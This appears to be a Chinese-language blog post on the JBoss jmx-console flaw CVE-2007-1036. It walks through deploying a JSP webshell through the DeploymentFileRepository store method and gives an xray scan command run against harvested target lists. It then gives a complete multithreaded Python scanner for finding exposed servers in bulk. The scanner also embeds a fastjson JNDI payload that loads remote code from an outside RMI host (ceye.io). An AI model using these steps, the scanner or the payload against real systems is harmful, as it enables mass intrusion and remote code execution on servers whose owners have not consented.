Jboss ND001 CVE-2007-1036

90 阅读3分钟

可以使用 xray 的 jboss-unauth.yml 来验证目标是否存在认证 bypass 的问题:

xray1.7.exe webscan –url-file target\head_keyword_jboss.txt –poc pocs\xray\jboss-unauth.yml –html-output vulns\jboss-unauth.html

选择一个存在该问题的目标,打开 jmx-console 目录,如图:

image.png 然后访问路径:

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository

image.png 定位到 store 方法, 传入相应的值,即可 getshell:

image.png 部署成功之后,会在 jmx-console 页面看到部署的名字:

image.png 正常来说,访问 webshell 访问你部署的路径和文件名即可,如下:

tests001/tests001.jsp

```import sys
import requests
import argparse
import re
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import logging
import pandas as pd
import warnings
import chardet
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
import base64
from base64 import b64decode

Hit_Target = []

def detect_encoding(file_path):
    with open(file_path, 'rb') as f:
        raw_data = f.read()
        result = chardet.detect(raw_data)
        return result['encoding']
# 禁用SSL警告
warnings.filterwarnings('ignore', message='Unverified HTTPS request')

# 配置日志格式
logging.basicConfig(
    level=logging.INFO,
    format='\033[34m[%(asctime)s]\033[0m %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
def parse_proxy(proxy_str):
    """将代理字符串转换为 requests 支持的格式"""
    if proxy_str:
        return {
            "http": proxy_str,
            "https": proxy_str
        }
    return None

def save_to_csv(data, filename, column_name='URL'):
    """
    将列表数据保存为CSV文件
    :param data: 要保存的数据列表
    :param filename: 输出的文件名
    :param column_name: CSV文件中的列名
    """
    df = pd.DataFrame(data, columns=[column_name])
    df.to_csv(filename, index=False)
    logging.info(f"[+] 已成功将结果保存至 {filename}")



class VulnChecker:
    def __init__(self, file_path, urls,output, threads, column,proxy,log):
        self.url = urls
        #用于保存检测http访问路径,直接指定url
        self.file_path = file_path
        #用于保存攻击的URL地址的访问路径
        self.output = output
        #用于保存结果CSV文件
        self.threads = threads
        #扫描的线程数量
        self.column = column  
        # 如果读取的目标是csv,Excel文件所在的列
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',
            'Accept':'application/json, text/javascript, */*; q=0.01',
            'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8',
            'X-Requested-With': 'XMLHttpRequest',
            'Accept-Encoding': 'gzip, deflate',
        }
        self.method = "GET"
        #用于指定发送的请求是POST方法还是GET方法
        self.payloads = '''uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xb638q.ceye.io/Exploit", "autoCommit":true}}''' 
        #如果是POST方式,该参数将被加入到POST数据包中
        self.proxy = parse_proxy(proxy)
        self.log = log
        self.path = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository"
    def read_urls(self):
        """读取输入文件中的URL(支持Excel和txt)"""
        try:
            encoding = detect_encoding(self.file_path)
            if self.file_path.endswith(('.csv')):
                df = pd.read_csv(self.file_path, encoding=encoding)
            elif self.file_path.endswith(('.xlsx', '.xls')):
                df = pd.read_excel(self.file_path, engine='openpyxl', encoding=encoding)
            else:  # 按txt处理
                with open(self.file_path, 'r', encoding=encoding) as f:
                    return [line.strip() for line in f if line.strip()]
            # 检查指定列是否存在
            if self.column not in df.columns:
                available_columns = ', '.join(df.columns)
                logging.error(f"文件中不存在'{self.column}'列,可用列:{available_columns}")
                sys.exit(1)
            return df[self.column].dropna().astype(str).tolist()
        except Exception as e:
            logging.error(f"读取URL文件失败: {e}")
            sys.exit(1)
    
    def check_urls(self, url):
     
        #print(payload)
        try:
            # 规范化URL格式
            if not url.startswith(('http://', 'https://')):
                urls = f"http://{url}"
            else:
                urls = url
            parsed = urlparse(urls)
            target = f"{parsed.scheme}://{parsed.netloc}"
          
            try:
                if self.method == "POST":
                    logdata = f"[+] 测试{target} 请求方式为:POST"
                    logging.info(logdata)
                    path = self.path
                    payloads =self.payloads
                    if self.proxy == None:
                        try:
                            response = requests.post(target + path, headers=self.headers,data=payloads,timeout=10,verify=False)
                        except requests.exceptions.RequestException as e:
                            logging.debug(f"请求异常: {e}")
                    else:
                        try:
                            response = requests.post(target + path, headers=self.headers,data=payloads,timeout=10,proxies=self.proxy,verify=False)
                        except requests.exceptions.RequestException as e:
                            logging.info(f"请求异常: {e}")
                            
                    if response.status_code == 200 and "extensions" in response.text:
                        result = f"[+] {target} 存在漏洞!"
                        Hit_Target.append(target)
                        if self.output:
                            with open(self.output, 'a') as f:
                                f.write(f"{result}\n响应内容:\n{response.text[:500]}...\n\n")
                            return True  
                elif self.method == "GET":
                    logdata = f"[+] 测试{target}漏洞 请求方式为:GET"
                    logging.info(logdata)
                    if self.proxy == None:
                        try:
                            response = requests.get(target + self.path, headers=self.headers,timeout=10,verify=False)                        
                        except requests.exceptions.RequestException as e:
                            logging.debug(f"请求异常: {e}")
                    else:
                        try:    
                            response = requests.get(target + self.path, headers=self.headers,timeout=10,verify=False,proxies=self.proxy)
                        except requests.exceptions.RequestException as e:
                            logging.info(f"请求异常: {e}")
                    if "List of MBean" in response.text and response.status_code == 200:
                        result = f"[+] {target} 存在漏洞!"
                        Hit_Target.append(target)
                        if self.log:
                            with open(self.log, 'a') as f:
                                f.write(f"{result}\n响应内容:\n{response.text[:500]}...\n\n")
                        return True     
                else:
                    logging.debug(f"无效的请求方法: {self.method}")
                
            except Exception as e:
                logging.debug(f"请求异常: {e}")
               
            return False
        except Exception as e:
            logging.debug(f"处理URL {url} 时发生异常: {e}")
            return False

    def run(self):
        """主运行函数"""
        targets = []
        if self.url:
            targets.append(self.url)
        if self.file_path:
            targets.extend(self.read_urls())
        
        if not targets:
            logging.error("未指定任何检测目标")
            return
            
        logging.info(f"开始检测 {len(targets)} 个URL")
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            results = list(executor.map(self.check_urls, targets))
        
        success_count = sum(results)
        logging.info(f"检测完成!存在漏洞的目标数量: {success_count}/{len(targets)}")
        
        if Hit_Target and self.output:
            save_to_csv(Hit_Target, self.output)
            logging.info(f"已保存结果到 {self.output}")

    
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser(description='CVE-2007-1036漏洞检测工具')
    parser.add_argument('-u', '--url', default=None,help='目标URL')
    parser.add_argument('-f', '--file', default=None, help='输入文件路径(支持Excel和txt)')
    parser.add_argument('-o', '--output', help='结果输出文件路径')
    parser.add_argument('-t', '--threads', type=int, default=5, help='并发线程数(默认5)')
    parser.add_argument('-c', '--column', default='url', help='Excel中指定URL列名(默认url列)')
    parser.add_argument('-p', '--proxy', default=None, help='代理地址,如http://127.0.0.1:8080')
    parser.add_argument('-l', '--log', help='详细模式')
    
    
    args = parser.parse_args()
    
    checker = VulnChecker(args.file, args.url,args.output, args.threads, args.column,args.proxy,args.log)
    checker.run()